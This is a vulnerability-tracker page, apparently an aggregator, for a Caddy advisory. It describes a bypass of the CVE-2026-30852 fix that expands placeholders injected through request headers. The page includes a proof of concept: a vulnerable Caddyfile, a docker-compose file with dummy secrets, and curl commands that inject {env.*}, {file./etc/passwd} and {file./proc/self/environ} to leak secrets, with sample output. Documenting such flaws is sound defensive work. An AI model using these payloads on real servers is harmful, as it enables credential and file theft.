GHSA-wwhq-w58m-w29c: Caddy CVE-2026-30852 Fix Bypass
Noroxi assessment
Priority: Monitor (action score 0/100)
- The sources we track (CISA KEV, Exploit-DB, Metasploit, Nuclei, GitHub) show no public exploit code or exploitation in the wild.
- Anyone who can reach it over the internet can trigger it. No account or password is required. No user action is required. No special conditions are required; it is repeatable.
- Fixed version: github.com/caddyserver/caddy/v2 (Go) 2.11.3.
Low priority for now. Upgrade to github.com/caddyserver/caddy/v2 (Go) 2.11.3 or later.
Generated automatically from the record's data: CVSS (NVD and CNA), CISA KEV and SSVC, FIRST EPSS, exploit sources, fixed versions. How we calculate it
Primary sources: OSV
# ## TL;DR CVE-2026-30852 fixed double expansion in `vars_regexp` when the variable key is a placeholder (e.g. `{http.vars.x}`). The fix does NOT protect literal key names (e.g. `tenant_id`). An attacker injects `{env.AWS_SECRET_ACCESS_KEY}` or `{file./etc/passwd}` via a request header → Caddy expands it on the second pass → secrets leaked in response headers. **Affected:** Caddy v2.11.0 through v2.11.2 (latest). All versions since the CVE-2026-30852 fix. ## Root Cause `modules/caddyhttp/vars.go`, lines 215-217: ```go valExpanded = varStr if !fromPlaceholder { valExpanded = repl.ReplaceAll(varStr, "") // ← SECOND EXPANSION } ``` Same issue at line 358-360 in `MatchVarsRE`. `fromPlaceholder` is `false` when the variable key is a literal string (not wrapped in `{}`). The fix only protects `fromPlaceholder=true`. ### Expansion chain: 1. Config: `vars tenant_id {http.request.header.X-Tenant-ID}` 2. Request header: `X-Tenant-ID: {env.SECRET}` 3. **Pass 1** (`VarsMiddleware.ServeHTTP`, line 63): `repl.ReplaceAll("{http.request.header.X-Tenant-ID}", "")` → resolves to literal string `{env.SECRET}`. Stored in vars map. 4. **Pass 2** (`VarsMatcher.MatchWithError`, line 217): `repl.ReplaceAll("{env.SECRET}", "")` → resolves to the actual secret value. 5. Leaked value reflected in response header `X-Tenant-ID` or forwarded to backend via `reverse_proxy`. ## Impact - **Environment variable disclosure:** `{env.AWS_SECRET_ACCESS_KEY}`, `{env.DATABASE_URL}`, etc. - **Arbitrary file read (up to 1MB):** `{file./etc/passwd}`, `{file./proc/self/environ}` - **System info:** `{system.hostname}`, `{system.os}` - **Full env dump in one request:** `{file./proc/self/environ}` ## Realistic Attack Scenario API gateway pattern - Caddy captures a tenant ID header, validates it with `vars_regexp`, and reflects it in response headers or forwards to a backend. This is a common production pattern for multi-tenant routing. ``` # Caddyfile :8080 { vars tenant_id {http.request.header.X-Tenant-ID} @has_tenant vars_regexp tenant tenant_id (.+) handle @has_tenant { header X-Tenant-ID "{re.tenant.1}" reverse_proxy tenant-backend:8080 } respond "Missing X-Tenant-ID header" 400 } ``` ``` # docker-compose.yml services: caddy: image: caddy:2.11.2 ports: - "8080:8080" volumes: - ./Caddyfile:/etc/caddy/Caddyfile:ro environment: - SECRET_API_KEY=sk-SUPER-SECRET-KEY-12345 - DATABASE_URL=postgresql://admin:p4ssw0rd@db.internal:5432/production - AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY - INTERNAL_TOKEN=eyJhbGciOiJIUzI1NiJ9.INTERNAL_ONLY ``` Attacker sends: `X-Tenant-ID: {env.AWS_SECRET_ACCESS_KEY}` Response contains: `X-Tenant-ID: wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY` ## Reproduce ```bash docker compose up -d sleep 2 # Normal request — works as expected curl -sI -H "X-Tenant-ID: acme-corp" http://localhost:8080/ | grep X-Tenant # X-Tenant-Id: acme-corp # Leak env var via response header curl -sI -H "X-Tenant-ID: {env.SECRET_API_KEY}" http://localhost:8080/ | grep X-Tenant # X-Tenant-Id: sk-SUPER-SECRET-KEY-12345 # Leak AWS credentials curl -sI -H "X-Tenant-ID: {env.AWS_SECRET_ACCESS_KEY}" http://localhost:8080/ | grep X-Tenant # X-Tenant-Id: wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY # Read arbitrary file curl -sI -H "X-Tenant-ID: {file./etc/passwd}" http://localhost:8080/ | grep X-Tenant # Dump ALL env vars (Linux) curl -s -H "X-Tenant-ID: {file./proc/self/environ}" http://localhost:8080/ ``` ## Confirmed Test Output (Caddy v2.11.2) ``` $ curl -sI -H "X-Tenant-ID: acme-corp" http://localhost:8080/ | grep -i x-tenant X-Tenant-Id: acme-corp X-Routed-To: tenant-acme-corp $ curl -sI -H "X-Tenant-ID: {env.SECRET_API_KEY}" http://localhost:8080/ | grep -i x-tenant X-Tenant-Id: sk-SUPER-SECRET-KEY-12345 X-Routed-To: tenant-sk-SUPER-SECRET-KEY-12345 $ curl -sI -H "X-Tenant-ID: {env.AWS_SECRET_ACCESS_KEY}" http://localhost:8080/ | grep -i x-tenant X-Tenant-Id: wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY X-Routed-To: tenant-wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY $ curl -sI -H "X-Tenant-ID: {file./etc/hostname}" http://localhost:8080/ | grep -i x-tenant X-Tenant-Id: 06140d4a8645 ``` ## Fix Apply expansion guard to BOTH branches: ```go // vars.go line 215-217 — fix: valExpanded = varStr // REMOVE: if !fromPlaceholder { // valExpanded = repl.ReplaceAll(varStr, "") // } ``` Or sanitize vars stored from user input before re-expansion.
- Published
- May 19, 2026
- Updated
- Jul 24, 2026
- EPSS
- —
- CWE
- CWE-917
Report tools
Action score
0
Low priority for now.
- CVSS
- 0 / 40 · —
- CISA KEV
- 0 / 30 · Not listed
- EPSS
- 0 / 30 · —
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- No public exploit code on record
- A fix has been released
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We use this product, ask for helpAffected systems
Is your version affected?
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| Vendor | Product | CPE |
|---|---|---|
| Go | github.com/caddyserver/caddy/v2 | pkg:golang/github.com/caddyserver/caddy/v2 |
Package-level exposure
OSV and GitHub Advisory data: ecosystem, package and range. SBOM matching uses this table.
| Ecosystem | Package | Affected range | Fix |
|---|---|---|---|
| Go | github.com/caddyserver/caddy/v2 | from 2.11.0 · up to and including 2.11.2 | — |
| Go | github.com/caddyserver/caddy/v2 | from 2.11.0 · before 2.11.3 | 2.11.3 |
Same product
Go: all recordsOther highest-scoring records for the same primary product.
- GHSA-gx7w-56w6-g48xCaddy: Remote Admin Authorization Bypass on PKI Endpoints via Prefix-Based Path Matching17Monitor
- GO-2026-5408Caddy: Remote Admin Authorization Bypass on PKI Endpoints via Prefix-Based Path Matching in github.com/caddyserver/caddy0Monitor
- GO-2026-5730Caddy CVE-2026-30852 Fix Bypass in github.com/caddyserver/caddy0Monitor
Remediation
Which version to upgrade to
Fix versions compiled from the vendor, package registries and Microsoft. Verify the vendor's note before upgrading.
| Product / package | Fixed version | Source |
|---|---|---|
| Go:github.com/caddyserver/caddy/v2 | 2.11.3 | Package registry (OSV) |
Exploit status
No known public exploit
No public exploit has been observed yet. That doesn't mean you're safe, only that the bar is a little higher.
Research context
For pentesters and researchers: attack profile, score disagreement, timeline, patch commits, credits, variant and chain candidates, bug bounty scope. All derived from existing data; no exploit code.
Timeline
From publication to today: proof of concept, Metasploit module, CISA KEV and fix record. Dates are as reported by the sources.
No dated events beyond publication.
Not on record for this CVE: EPSS history · patch commit or PR link · researcher credit · variant or chain candidate · public bounty program.
Technical details
Attack conditions
- Anyone who can reach it over the internet can trigger it.
- No account or password is required.
- No user action is required.
- No special conditions are required; it is repeatable.
If successful
- Confidentiality
- Integrity
- Availability
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- None
- User interaction
- None
Weakness class (CWE)
CWE-917 · Improper Neutralization of Special Elements used in an Expression Language Statement ('Expression Language Injection')CVSS vector
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P
osv
Attack context
MITRE CAPEC attack patterns and ATT&CK techniques for this weakness class (CWE). A starting point for detection rules and threat hunting.
MITRE has no CAPEC/ATT&CK mapping for this CWE.
Change log (2)
- Fix✗ → ✓
- CVSS5.5 → —
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References
Show all references (1 more)Show less
Vendor advisories and official records. Exploit/PoC links are deliberately left out.